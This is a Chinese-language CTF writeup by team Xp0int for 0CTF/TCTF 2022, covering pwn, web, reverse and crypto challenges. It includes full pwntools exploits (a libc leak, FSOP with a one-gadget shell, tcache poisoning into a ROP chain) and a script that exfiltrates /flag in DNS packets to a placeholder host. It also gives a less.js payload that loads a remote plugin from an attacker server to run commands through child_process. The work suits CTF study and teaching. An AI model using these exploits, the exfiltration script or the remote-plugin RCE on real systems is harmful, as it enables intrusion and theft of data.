2022 0CTF/TCTF Writeup By Xp0int xp0int Posted on Sep 19 2022 ## 1. Pwnable ### 1.1. ezvm `Author: xf1les` 通过打印`what???`可以将堆块上面的 libc 地址逐个字节地泄漏出来。 程序提供一次整数溢出机会,整数溢出之后可以分配到 mmap 内存,且利用`op=21`指令进行任意偏移写任意值。通过任意偏移写修改 stdout 布置 FSOP,然后调用`exit()`触发 FSOP ,最后执行 one gadget get shell 即可。 ```python #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64", log_level="debug") p = None p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x) BF_OFFSET = 0 ######################################################################## class VMCODE(): def __init__(self): self.CODE = b'' self.IP = 0 def store(self, dst, src): self.IP += 1 + 1 + 8 self.CODE += p8(22) + p8(dst) + p64(src) #### [BUG] arbitrary offset write #### def load(self, dst, src): self.IP += 1 + 1 + 8 self.CODE += p8(21) + p8(src) + p64(dst) def store_imn(self, dst, imn): self.IP += 1 + 1 + 8 self.CODE += p8(20) + p8(dst) + p64(imn) def push(self, dst): self.IP += 1 + 1 self.CODE += p8(0) + p8(dst) def pop(self, dst): self.IP += 1 + 1 self.CODE += p8(1) + p8(dst) def right_shift(self): self.IP += 1 self.CODE += p8(8) def _and(self): self.IP += 1 self.CODE += p8(9) def sub(self): self.IP += 1 self.CODE += p8(3) def jz(self, off): self.IP += 1 + 8 self.CODE += p8(16) + p64(off) def jnz(self, off): self.IP += 1 + 8 self.CODE += p8(15) + p64(off) def jmp(self, off): self.IP += 1 + 8 self.CODE += p8(14) + p64(off, signed=1) def bad(self): self.IP += 1 self.CODE += p8(0xff) def ret(self): self.IP += 1 self.CODE += p8(23) def vm_run(mem_sz, code): global p p.sendline("yes") p_sl(len(code)+1, "Please input your code size:") p_sl(mem_sz, "Please input your memory count:") p_sl(code, "Please input your code:") def leak_byte(pos): global p c = VMCODE() # save main_arena address to MEM[0] c.store(0, 0) # leak one byte from MEM[0], then save it to MEM[1] # MEM[1] = (MEM[0] >> pos * 8) & 0xFF c.push(0) c.store_imn(0, pos * 8) c.push(0) c.right_shift() c.store_imn(0, 0xff) c.push(0) c._and() c.store_imn(0, 1) # LOOP # check if MEM[1] == 0 c.pop(1) c.push(1) c.jnz(1) c.ret() # quit if MEM[1] == 0 # print "what???" c.bad() # MEM[1]-- c.push(1) c.push(0) c.sub() c.jmp(-29) # jmp to LOOP vm_run(0x100, c.CODE) d = p.recvuntil("finish!") return d.count(b"what???") # the times of "what???" string printed will be equal to the byte we leaked def main(): global BF_OFFSET, p p = remote("202.120.7.210", "40241") # ~ p = process("./ezvm") #################################################### ### Stage 1: send a 0x800 chunk to unsorted bin ### #################################################### vm_run(0x100, p8(23) * 77) #################################################### ### Stage 2: leak libc address from unsorted bin ### #################################################### context(log_level="error") addr = 0 for i in range(7): addr <<= 8 addr += leak_byte(6-i) context(log_level="debug") libcbase = addr - 0x219ce0 p.success("libcbase 0x%lx", libcbase) libc_os = lambda x : libcbase + x ############################### ### Stage 3: Corrupt stderr ### ############################### LIBC_OFF = 0x200ff0 + BF_OFFSET # the offset from mmap memory to libc.so.6 memory STDERR = 0x21a6a0 STDERR_OFF = LIBC_OFF + STDERR FAKE_WIDE_VTABLE = 0x2205b0 FAKE_WIDE_VTABLE_OFF = LIBC_OFF + FAKE_WIDE_VTABLE ## Found by https://github.com/xf1les/fsop-finder ## 2.35-0ubuntu3.1 # 3. sub_860b0@0x860b0 -> _IO_wdoallocbuf@0x83bf0 # 0x861cd: call(0x83bf0) # RIP/RDI DATAFLOW: # rbx = rdi -> rdi = rbx -> call(0x83bf0) # RBP DATAFLOW: # rbp = [rdi + 0x98].q # CODE PATH: # eax = [rdi].d # => [condition] (al & 4) == 0 # rax = [rdi + 0xa0].q # rdx = [rax].q # => [condition] rdx u>= [rax + 8].q # rdx = [rdi + 8].q # => [condition] rdx u< [rdi + 0x10].q # rdi = [rax + 0x40].q # => [condition] rdi == 0 # 0x83c1b: call([rax + 0x68].q) # RIP/RDI DATAFLOW: # rax = [rdi + 0xa0].q -> rax = [rax + 0xe0].q -> call([rax + 0x68].q) # RBP DATAFLOW: # (N/A) # CODE PATH: # rax = [rdi + 0xa0].q # => [condition] [rax + 0x30].q == 0 # => [condition] ([rdi].b & 2) == 0 # ([0x216020] is the location of sub_860b0 in __libc_IO_vtables) c = VMCODE() c.store_imn(0, 0) c.store_imn(1, 1) c.load(STDERR_OFF//8, 0) # stderr->flags = 0 c.load((STDERR_OFF+0x10)//8, 1) # stderr->_IO_read_end = 1 c.load((STDERR_OFF+0x28)//8, 1) # stderr->_IO_write_base = 1 c.store_imn(0, libc_os(0x216020-0x18)) c.load((STDERR_OFF+0xd8)//8, 0) # stderr->vtable = &(_IO_wfile_jumps_mmap+32)-0x18 c.store_imn(0, libc_os(FAKE_WIDE_VTABLE-0x68)) c.load((LIBC_OFF+0x219980)//8, 0) # _IO_wide_data_1->_wide_vtable c.load((STDERR_OFF+0x98)//8, 0) # a writable rbp (stderr->_codecvt), required by one gadget # 0xebcf5 execve("/bin/sh", r10, rdx) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL # [rdx] == NULL || rdx == NULL c.store_imn(0, libc_os(0xebcf5)) c.load((FAKE_WIDE_VTABLE_OFF)//8, 0) # one gadget vm_run(0x2000000000040001, c.CODE) ################################################ ### Stage 4: trigger FSOP to call one gadget ### ################################################ # exit() -> _IO_cleanup() -> _IO_flush_all_lockp() -> _IO_wfile_underflow_mmap() -> _IO_wdoallocbuf() p_sl("bye bye", "continue?") print(">>>>> GOT SHELL!!! <<<<<<") p.interactive() # bruteforcing the offset between mmap memory and libc.so.6 memory times = 100 while times >= 0: times -= 1 try: BF_OFFSET += 0x1000 main() except KeyboardInterrupt: break except Exception as e: print(e) try: p.close() except: pass p = None continue ``` ![title](https://leanote.com/api/file/getImage?fileId=632868d4ab64410837a0b158) ### 1.2. babysnitch `Author: lakwsh` 题目为一个软件防火墙,拦截所有出方向流量,有命令执行能力但关闭了回显。通过代码审查,发现处理数据包过滤规则的函数 `onPacket`(位于文件`daemon/main.go`)中,对于`DNS response`直接放行,只需要构造dns响应报文,并把flag填充到其中即可。 ```sh #!/bin/bash cd /home/test cat>flag.py<<EOF from socket import * import subprocess dns = b'\x00\x01\x85\x80\x00\x01\x00\x01\x00\x00\x00\x00?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x01\x00\x01\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x03\x00\x04\x01\x02\x03\x04' with open('/flag', 'rb') as f: s = socket(AF_INET, SOCK_DGRAM) s.bind(('0.0.0.0', 53)) while True: fl = f.read(0x3f) if not fl: break s.sendto(dns.replace(b'a'*0x3f, fl.ljust(0x3f, b'a')), ('XXX.XXX.XXX.XXX', XXX)) s.close() EOF python3 flag.py ``` ```python from pwn import * from random import choice from hashlib import sha256 context(arch='amd64',os='linux',log_level='debug') sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) sda = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) irt = lambda :p.interactive() dbg = lambda s=None:gdb.attach(p,s) uu32 = lambda d:u32(d.ljust(4,b'\0')) uu64 = lambda d:u64(d.ljust(8,b'\0')) p = remote('202.120.7.221', 8888) ru('sha256(XXXX+') proof2 = ru(')')[:-1].decode() ru('== ') hashhex = ru('\n')[:-1].decode() print(proof2) print(hashhex) while True: proof1 = ''.join([choice(string.ascii_letters+string.digits) for _ in range(4)]) hexdigest = sha256(proof1.encode('utf-8')+proof2.encode('utf-8')).hexdigest() #print(proof1) if hexdigest == hashhex: print(proof1) sla('Give me XXXX:', proof1) break d = open('flag.sh', 'rb').read() sla('OK\n', str(len(d))) sd(d) irt() ``` 题目有个坑点,出题人故意把flag长度设置为0x3F以上(label标签字段最长为0x3F),如果不进行分包会导致数据包无法通过校验,发不出去 ![title](https://leanote.com/api/file/getImage?fileId=63286cc6ab64410837a0b19b) FLAG:`flag{I_hope_there_is_N0_problem_with_my_fragile_environment____Have_you_talked_with_unix_socket?}` ### 1.3. BabyHeap 2022 `Author: xf1les` Update 功能处存在堆溢出。当输入长度为 -1 时,可以往后溢出无限长度字节。 首先利用堆溢出将一块 tcache 堆块的大小改大,释放到 tcache 后再取回,然后使用 Show 功能就能泄漏堆块附近的 libc 地址和堆地址了。 构造好 fake FILE object 和 ROP chain 之后,通过 Update 功能修改 tcache 堆块 fd 指针,将 fake FILE object 地址写入到 `_IO_list_all` 。最后调用 `exit()` 触发 FSOP 实现栈迁移,执行 ROP chain 读 flag 即可。 ```python #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64", log_level="debug") p = remote("47.100.33.132", "2204") # ~ p = process("./babyheap") libcbase = None heapbase = None tc_key = None p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x) libc_sym = lambda x : libc.symbols[x] libc_symp = lambda x : p64(libc.symbols[x]) libc_os = lambda x : libcbase + x heap_os = lambda x : heapbase + x def add(sz, ctx='a'): p_sl(1, "Command: ") p_sl(sz, "Size: ") p_sl(ctx, "Content: ") def edit(idx, sz, ctx): p_sl(2, "Command: ") p_sl(idx, "Index: ") p_sl(sz, "Size: ") p_sl(ctx, "Content: ") def free(idx): p_sl(3, "Command: ") p_sl(idx, "Index: ") def show(idx): p_sl(4, "Command: ") p_sl(idx, "Index: ") ######################################################################## add(0x10) # 0 add(0x10) # 1 add(0x800) # 2 add(0x10) ############################################################### ### Stage 1: heap overflowing, change chunk1's size to 0x80 ### ############################################################### edit(0, -1, 0x10 * b'a' + flat([0, 0x81])) # BUG, Interge overflow free(1) add(0x70, 0x10 * b'a' + flat([0, 0x811])) # 1 ####################################################################### ### Stage 2: free chunk2, leak main_arena address by showing chunk1 ### ####################################################################### free(2) show(1) p.recvuntil("]: ") p.recv(0x20) libcbase = u64(p.recv(8)) - 0x219ce0 info("libcbase: 0x%lx", libcbase) ############################################################# ### Stage 3: free two chunks to tcache, leak heap address ### ############################################################# add(0x20) # 2 add(0x20) # 4 free(2) free(4) show(1) p.recvuntil("]: ") p.recv(0x20) tc_key = u64(p.recv(8)) info("tcache key: 0x%lx", tc_key) p.recv(0x28) heapbase = (u64(p.recv(8)) ^ tc_key) - 0x2e0 info("heapbase key: 0x%lx", heapbase) ########################################## ### Stage 4: prepare for ORW ROP chain ### ########################################## rop_chain = heap_os(0x340) # the address of rop chain mov_rax_0 = libc_os(0xbab79) mov_rax_1 = libc_os(0xd83e0) mov_rax_2 = libc_os(0xd83f0) xchg_eax_edi = libc_os(0x14a385) pop_rdi = libc_os(0x2a3e5) pop_rsi = libc_os(0x2be51) pop_rdx_r12 = libc_os(0x11f497) syscall = libc_os(0x91396) rop_raw = [ pop_rdi, 0xdeadbeef, pop_rsi, 0, mov_rax_2, syscall, xchg_eax_edi, pop_rsi, 0xdeadbeef, pop_rdx_r12, 0x80, 0, mov_rax_0, syscall, pop_rdi, 1, mov_rax_1, syscall ] rop_raw[1] = rop_raw[8] = rop_chain + len(rop_raw) * 8 rop = flat(rop_raw) + b'/flag\x00' add(0x100, rop) # write ROP chain on heap ############################################## ### Stage 5: prepare for forge FILE object ### ############################################## ## Found by https://github.com/xf1les/fsop-finder ## 2.35-0ubuntu3.1 # 3. sub_860b0@0x860b0 -> _IO_wdoallocbuf@0x83bf0 # 0x861cd: call(0x83bf0) # RIP/RDI DATAFLOW: # rbx = rdi -> rdi = rbx -> call(0x83bf0) # RBP DATAFLOW: # rbp = [rdi + 0x98].q # CODE PATH: # eax = [rdi].d # => [condition] (al & 4) == 0 # rax = [rdi + 0xa0].q # rdx = [rax].q # => [condition] rdx u>= [rax + 8].q # rdx = [rdi + 8].q # => [condition] rdx u< [rdi + 0x10].q # rdi = [rax + 0x40].q # => [condition] rdi == 0 # 0x83c1b: call([rax + 0x68].q) # RIP/RDI DATAFLOW: # rax = [rdi + 0xa0].q -> rax = [rax + 0xe0].q -> call([rax + 0x68].q) # RBP DATAFLOW: # (N/A) # CODE PATH: # rax = [rdi + 0xa0].q # => [condition] [rax + 0x30].q == 0 # => [condition] ([rdi].b & 2) == 0 # ([0x216020] is the location of sub_860b0 in __libc_IO_vtables) fp = heap_os(0x440) # the address of forge file object leave_ret = libc_os(0x562ec) vtable_ptr = libc_os(0x216020-0x18) forge_fp = flat({ 0x10 : 0xffffffffffffffff, 0x28 : 0xffffffffffffffff, 0x68 : leave_ret, 0x88 : fp + 0xe0, 0x98 : rop_chain - 8, 0xa0 : fp + 0x10, 0xd8 : vtable_ptr, 0xf0 : fp }, filler=b"\x00") add(0x100, forge_fp[0x10:]) # write forge FILE object on heap ####################################################################### ### Stage 6: write the address of forge FILE object to _IO_list_all ### ####################################################################### payload = flat({ 0x18 : 0x31, 0x20 : tc_key, 0x48 : 0x31, 0x50 : libc_os(0x21a680) ^ tc_key, # _IO_list_all 0x58 : 0 }, filler=b"\x00") edit(1, len(payload), payload) # edit tcache chunk's fd pointer add(0x20) add(0x20, p64(fp)) # allocate _IO_list_all from tcache ###################################################### ### Stage 7: call exit() to perform stack pivoting ### ###################################################### # exit() -> _IO_cleanup() -> _IO_flush_all_lockp() -> _IO_wfile_underflow_mmap() -> _IO_wdoallocbuf() -> "leave; ret" gadget -> ROP chain p.sendline('5') p.interactive() ``` ![title](https://leanote.com/api/file/getImage?fileId=6328697aab64410837a0b162) ## 2. Reverse ### 2.1. BabyEncoder `Author: JANlittle` 程序先生成随机的长度64的随机可打印字符串,然后8个一组传入sub_13C7,sub_13C7生成128个double,最后程序输出所有的double,要求反推随机可打印字符串c 观察sub_13C7,大致可以得到计算double的流程: ```python # r(n)为取0~n之间的随机数 def sub_13C7(c): e = [0.0]*128 for i in range(128): for j in range(8): e[i] += c[j]*cos((j*i + r(255))/64*pi) e[i] += r(3) + r(255) return e ``` 这种形式,我们可以联想到傅里叶变换。如果将e[i]视为某个函数 $f(x)$ 在 $x=i$时的函数值,我们就可以得到: $f(x)\thickapprox c_0+\sum_{i=1}^8 c_i\cos(i\omega x+\varphi_i),其中由化简的公式得\omega = {2\pi \over T} = {2\pi \over 128}$ 关键就是求出 $f(x)$的傅里叶余弦展开式的前8个系数 $c_i$ 首先由于已知 $f(0)...f(127)$,若将其视为离散点采样那么就转化为求解DCT,但DCT梭了一年似乎不怎么对。。之后考虑为连续函数的傅里叶变换,有以下公式: ![title](https://leanote.com/api/file/getImage?fileId=63286a68ab64410837a0b172) 这样我们就可以通过定积分求解出系数来了,但问题是如何求解呢? 一开始想通过已知的128个点构造出拉格朗日插值多项式作为 $f(x)$然后直接代入定积分计算,但最后效果似乎不太行,陷入僵局。。 最后翻书时想到最朴素的方法:定义法 $a_i={2 \over 128} \int_{0}^{128} f(x)\cos(i \omega x)\, \mathrm{d}x \thickapprox {2 \over 128} \sum_{k=0}^{127} 1*f(k)\cos (iwk)$ $b_i={2 \over 128} \int_{0}^{128} f(x)\sin(i \omega x)\, \mathrm{d}x \thickapprox {2 \over 128} \sum_{k=0}^{127} 1*f(k)\sin (iwk)$ ```python from pwn import * from math import cos, sin, pi from cmath import sqrt import struct #context.log_level = "debug" p = remote('202.120.7.212', 20001) def ppow(): global p p.recvuntil(b'Show me your computation:\n') formula = p.recvuntil(' = ?')[:-4].decode() formula = formula.split(' ') pow_ans = eval('pow(2, 1<<' + formula[0][5:-1] + ', ' + formula[2] + ')') p.sendlineafter(b'Your answer: ', str(pow_ans).encode()) ppow() p.recvuntil(b'========START=======\n') temp = p.recvuntil(b'=========END========')[:-20] assert len(temp) == 8*128*8 v = [0.0]*8*128 for i in range(8): t = temp[8*128*i:8*128*(i+1)] for j in range(128): tt = v[128*i+j] = struct.unpack('<d', t[8*j:8*(j+1)])[0] c = [] w = 2*pi/128 for k in range(8): for i in range(8): a = b = 0.0 for j in range(128): a += v[128*k+j]*cos((i+1)*w*j) b += v[128*k+j]*sin((i+1)*w*j) a *= 2/128 b *= 2/128 c.append(int(sqrt(pow(a, 2)+pow(b, 2)).real + 0.5)) p.send(bytes(c)) p.recv() p.interactive() ``` ### 2.2. vintage - part1 `Author: JANlittle` Vectrex ROM image,从wiki(https://en.wikipedia.org/wiki/Vectrex)了解到CPU是Motorola 6809,IDA可以反汇编,并且找到了模拟器+调试器:https://github.com/amaiorano/vectrexy 通过字符串交叉引用和调试可以锁定sub_1A63,验证函数先将password与0x21和下标异或,然后进行一个伪RC4加密,最后与密文比较。通过调试拿出最后RC4异或的数据和密文,然后乱鲨: ```python >>> enc=[0x74,0xe8,0xaf,0x89,0xc7,0xe,0xd4,0xbd] >>> key=[23, 132, 205, 232, 169, 97, 182, 194] >>> for i in range(len(enc)): ... enc[i]^=key[i] ... enc[i]^=i ... enc[i]^=0x21 ... >>> bytes(enc) b'BLACKKEY' ``` ## 3. Web ### 3.1. ohf `Author: ABU` F12看到提交框action为/less,同时框内可以自定义css,想起前段时间p神的文章https://www.leavesongs.com/PENETRATION/flarum-rce-tour.html#,less存在任意文件读取漏洞,读取源码ohf_main_to_be_deployed.go payload: ```html .test { content: data-uri('ohf_main_to_be_deployed.go'); } ``` ```go package main import ( "bytes" "encoding/base64" "encoding/gob" "fmt" "io/ioutil" "math/rand" "net/http" "os" "os/exec" "strconv" "github.com/gin-contrib/static" "github.com/gin-gonic/gin" "github.com/sirupsen/logrus" "github.com/traefik/yaegi/interp" "github.com/traefik/yaegi/stdlib" ) var randLetter = []byte("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") func RandString(n int) string { s := make([]byte, n) for i := range s { s[i] = randLetter[rand.Intn(len(randLetter))] } return string(s) } func Eval(s string) (string, error) { i := interp.New(interp.Options{}) i.Use(stdlib.Symbols) _, err := i.Eval(s) if err != nil { return "", err } ret, err := i.Eval("plugin()") return ret.String(), err } type User struct { Name string Plugins []*Plugin LogLevel logrus.Level } func (p User) String() string { return fmt.Sprintf("%v(%v): %v", p.Name, p.LogLevel, p.Plugins) } type Plugin struct { ID int Enable bool Name string Version string Payload string } func (p Plugin) String() string { i := interp.New(interp.Options{}) i.Use(stdlib.Symbols) i.Eval(p.Version) r, _ := i.Eval("api()") return fmt.Sprintf("[%v] %v: %v", p.ID, p.Name, r.String()) } var hackSatellite = &Plugin{ ID: 1, Name: "one-tap hack satellite", Version: ` import "io/ioutil" func api() string { v, _ := ioutil.ReadFile("satellite.txt") return string(v) }`, Payload: "satellite.go", } var hackSuperComputer = &Plugin{ ID: 2, Name: "one-tap hack supercomputer", Version: ` import "io/ioutil" func api() string { v, _ := ioutil.ReadFile("supercomputer.txt") return string(v) }`, Payload: "supercomputer.go", } var hackAllSubnet = &Plugin{ ID: 3, Name: "one-tap hack all subnet computers", Version: ` import "io/ioutil" func api() string { v, _ := ioutil.ReadFile("subnet.txt") return string(v) }`, Payload: "subnet.go", } var pluginList = []*Plugin{hackSatellite, hackSuperComputer, hackAllSubnet} func main() { gin.SetMode(gin.ReleaseMode) r := gin.Default() r.Use(static.Serve("/", static.LocalFile("./static/", false))) r.GET("/login", func(c *gin.Context) { name := c.Query("name") if name == "" { c.AbortWithStatus(500) return } else { var user bytes.Buffer enc := gob.NewEncoder(&user) err := enc.Encode(User{Name: name, Plugins: pluginList, LogLevel: logrus.DebugLevel}) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } c.JSON(http.StatusOK, gin.H{ "config": base64.StdEncoding.EncodeToString(user.Bytes()), }) } }) r.GET("/list", func(c *gin.Context) { v, err := c.Request.Cookie("config") if err != nil || v.Value == "" { c.AbortWithStatus(500) return } cfg, err := base64.StdEncoding.DecodeString(v.Value) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } logrus.Info(v.Value) dec := gob.NewDecoder(bytes.NewReader(cfg)) var u User err = dec.Decode(&u) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } if logrus.IsLevelEnabled(u.LogLevel) { logrus.Info(u) } kv := make(map[int]string) for _, v := range u.Plugins { kv[v.ID] = v.Name } c.JSON(http.StatusOK, gin.H{ "plugin": kv, }) }) r.GET("/use", func(c *gin.Context) { id := c.Query("id") n, err := strconv.Atoi(id) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } v, err := c.Request.Cookie("config") if err != nil || v.Value == "" { c.AbortWithStatus(500) return } cfg, err := base64.StdEncoding.DecodeString(v.Value) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } logrus.Info(v.Value) dec := gob.NewDecoder(bytes.NewReader(cfg)) var u User err = dec.Decode(&u) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } for _, v := range u.Plugins { if v.ID == n { f, err := ioutil.ReadFile(v.Payload) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } ret, err := Eval(string(f)) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } c.JSON(http.StatusOK, gin.H{ "data": ret, }) return } } }) r.GET("/less", func(c *gin.Context) { dst, err := base64.StdEncoding.DecodeString(c.Query("data")) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } fname := RandString(8) err = ioutil.WriteFile("/tmp/"+fname, dst, 0755) if err != nil { logrus.Errorln(err) c.AbortWithStatus(500) return } var stdout bytes.Buffer var stderr bytes.Buffer cmd := exec.Command("lessc", "/tmp/"+fname) cmd.Stdout = &stdout cmd.Stderr = &stderr cmd.Run() os.Remove("/tmp/" + fname) c.JSON(http.StatusOK, gin.H{ "data": stdout.String(), }) }) r.Run() } ``` 可以看到自定义css流程是将用户写的css代码先写进临时文件,再用lessc进行编译执行,而lessc是通过less.js编译的,而且less.js低版本存在远程rce,经过测试,题目可以远程加载插件,从而进行rce,参考https://zhuanlan.zhihu.com/p/389345632 在vps上放置恶意的plugin.js,开启web服务,再通过@plugin进行远程加载,执行我们的命令 plugin.js ```js registerPlugin({ install: function(less, pluginManager, functions) { functions.add('cmd', function(val) { return global.process.mainModule.require('child_process').execSync(val.value).toString(); }); } }) ``` payload ``` @plugin "http://ip:port/plugin.js"; body { color: cmd('/readflag'); } ``` ![title](https://leanote.com/api/file/getImage?fileId=63286ba3ab64410837a0b185) FALG:`flag{45ae12fcb357f61dcbbaae63a2b3f24f}` ## 4. Crypto ### 4.1. real magic dlog `Author: k1rit0` https://tl2cents.github.io/2021/12/14/Hitcon2021-Crypto-Writeup/ 原题非预期脚本直接打,把magic_num当成头部,然后爆破后面的两字节,如果是素数就看看减一后够不够smooth,smooth直接hellman。 手动复制数据,没有用pwntools了。 ```python from hashlib import sha256 import string String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz' String = string.ascii_letters + string.digits + '!#$%&*-?' def proof_of_work(END,HASH): for i in String: for j in String: for k in String: for l in String: s = i+j+k+l+END if sha256(s.encode()).hexdigest() == HASH: print("[+] send:",i+j+k+l) return i+j+k+l END = '6Yb0m?8ZbdPdp9kq' HASH = '3704447fa57424a388c13669a0b16ba6ce7ec28a4fc656327c5508aa6f8e9aeb' print(END,HASH) proof_of_work(END,HASH) ``` ```python from hashlib import sha256, sha384 from Crypto.Util.number import * from gmpy2 import * from random import * LEN = 17 magic_num = 0xff1f4c9a51c84a11044ccd459e9b383eff for i in range(65536): n = magic_num * 2 ** (384 - LEN*8) + i * 2 ** (384 - LEN*8 - 16) if is_prime(n + 1): f = factor(n) if all(p < 2 ** 42 for p, e in f): print(f) num1 = primitive_root(n+1) data = str(num1).encode() print(data) data2 = sha384(data).digest() num2 = int.from_bytes(data2, 'big') e = discrete_log(Zmod(n+1)(num2), Zmod(n+1)(num1)) # e = Integer(pohlig_hellman_DLP(num1, num2, n+1)) print(int(pow(num1, e, n+1)) == (num2 % (n+1))) if int(pow(num1, e, n+1)) == (num2 % (n+1)): print('solved') print((n+1).hex()) print(e.hex()) print(data) break ''' flag{Hope_you_can_solve_by_smoothness_this_time} ''' ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2022 网鼎杯初赛(青龙组) Writeup By Xp0int
没有帐号? 立即注册